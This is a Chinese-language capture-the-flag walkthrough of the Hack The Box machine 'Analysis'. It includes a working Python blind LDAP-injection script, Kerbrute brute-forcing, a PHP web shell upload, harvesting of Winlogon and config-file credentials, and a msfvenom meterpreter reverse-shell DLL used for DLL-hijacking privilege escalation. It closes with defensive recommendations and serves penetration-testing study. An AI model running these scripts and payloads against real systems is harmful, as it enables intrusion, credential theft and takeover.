[Meachines][Hard]Analysis
字数 1553 2025-08-19 12:42:16
Windows域渗透实战:从LDAP注入到DLL劫持提权
1. 信息收集与初始访问
1.1 主机发现与端口扫描
使用Nmap进行快速扫描:
nmap -sC -sV 10.10.11.250 --min-rate 1000
1.2 DNS枚举与子域名发现
添加主机名到/etc/hosts:
echo '10.10.11.250 analysis.htb' >> /etc/hosts
使用Gobuster进行DNS枚举:
gobuster dns -d analysis.htb -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt -r analysis.htb:53
发现子域名后更新hosts文件:
echo '10.10.11.250 internal.analysis.htb gc._msdcs.analysis.htb domaindnszones.analysis.htb forestdnszones.analysis.htb' >> /etc/hosts
1.3 Web目录枚举
对发现的子域名进行目录扫描:
gobuster dir --url "http://gc._msdcs.analysis.htb" --wordlist /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -x php
gobuster dir --url "domaindnszones.analysis.htb" --wordlist /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -x php
gobuster dir --url "http://forestdnszones.analysis.htb" --wordlist /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -x php
发现关键文件:list.php
2. LDAP注入攻击
2.1 发现LDAP注入点
使用Arjun工具寻找隐藏HTTP参数:
arjun -u http://internal.analysis.htb/users/list.php
2.2 LDAP注入原理
LDAP注入是一种针对Web应用程序的攻击,利用用户输入构造LDAP语句。当应用程序未能正确对输入进行清理时,攻击者可以操纵LDAP语句,可能导致未经授权的访问或数据篡改。
2.3 自动化LDAP注入脚本
编写Python脚本自动化LDAP注入攻击:
import requests
import string
printable_characters = string.printable
def main():
print("[xxxx]Ldap Injection[xxxx]")
password = ""
while True:
for char in printable_characters:
url = f"http://internal.analysis.htb/users/list.php?name=*)(%26(objectClass=user)(description={password}{'' if char == '*' else char}*)"
response = requests.get(url)
if response.status_code == 200 and "technician" in response.text:
print("[+] Got char:", char)
password += char
break
else:
break
print("[*] Found password:", password)
if __name__ == "__main__":
main()
执行脚本获取密码:
python3 exp.py
获取到密码:97NTtl*4QP96Bv
3. 用户枚举与暴力破解
3.1 使用Kerbrute进行用户枚举
./kerbrute_linux_amd64 userenum --dc analysis.htb -d analysis.htb /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -o recore.log
3.2 暴力破解用户密码
创建密码文件:
echo "97NTtl*4QP96Bv" > pass
执行暴力破解:
./kerbrute_linux_amd64 bruteuser --dc analysis.htb -d analysis.htb pass technician@analysis.htb
4. Web应用登录与后门上传
4.1 登录Web应用
访问登录页面:
http://internal.analysis.htb/employees/login.php
使用获取的凭据登录:
- 用户名:
technician@analysis.htb - 密码:
97NTtl*4QP96Bv
4.2 上传PHP后门
上传以下PHP Web Shell(p0wny shell):
<?php
// 完整的p0wny shell代码
// ...
?>
访问后门:
http://internal.analysis.htb/dashboard/uploads/p0wnyshell.php
5. 内网横向移动
5.1 发现LDAP管理员凭据
在Web Shell中浏览文件系统:
cd C:\inetpub\internal\users
type list.php
发现新凭据:
- 用户名:
webservice@analysis.htb - 密码:
N1G6G46G@G!j
5.2 发现数据库凭据
cd C:\inetpub\internal\employees
type login.php
获取数据库信息:
- 用户名:
db_master - 密码:
0$TBO7H8s12yh& - 数据库名:
employees
5.3 查询Windows自动登录凭据
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
发现自动登录凭据:
- 用户名:
jdoe - 密码:
7y4Z4^*y9Zzj
6. 使用Evil-WinRM获取用户权限
6.1 连接Evil-WinRM
evil-winrm -u jdoe -i analysis.htb -p '7y4Z4^*y9Zzj'
6.2 获取用户Flag
type c:\Users\jdoe\Desktop\user.txt
用户Flag: 69fd805d8395acf243f107ae46250f81
7. 权限提升:DLL劫持
7.1 发现DLL劫持机会
检查Snort目录权限:
cd C:\snort\lib
icacls snort_dynamicpreprocessor
权限分析:
AUTORITE NT\Système和BUILTIN\Administrateurs有完全控制权限(F)BUILTIN\Utilisateurs组有读取和执行权限(RX),以及添加数据(AD)和写入数据(WD)的权限
7.2 生成恶意DLL
使用msfvenom生成反向shell DLL:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=tun0 LPORT=10033 -f dll -o sf_engine.dll
设置监听器:
msfconsole -x 'use exploit/multi/handler;set payload windows/x64/meterpreter/reverse_tcp;set lport 10033;set lhost 10.10.16.15'
7.3 上传并触发DLL
上传恶意DLL:
cd C:\snort\lib\snort_dynamicpreprocessor
upload sf_engine.dll
等待系统加载DLL,获取meterpreter会话。
7.4 获取root Flag
type c:\Users\Administrateur\Desktop\root.txt
root Flag: a9d18d734fc464d9903817c11491f134
8. 关键知识点总结
- LDAP注入:通过构造特殊查询字符串绕过认证获取敏感信息
- Kerbrute工具:高效的Kerberos用户枚举和暴力破解工具
- Evil-WinRM:利用WinRM服务进行远程命令执行
- DLL劫持:利用不当的目录权限部署恶意DLL实现权限提升
- Windows注册表分析:从注册表中提取自动登录凭据
- 横向移动技术:通过多个凭据在内网中逐步提升权限
9. 防御建议
- 对LDAP查询实施严格的输入验证
- 限制目录写入权限,特别是系统目录
- 禁用不必要的自动登录功能
- 定期审计服务账户凭据
- 监控异常进程加载DLL的行为
- 实施最小权限原则,限制用户对系统目录的写入权限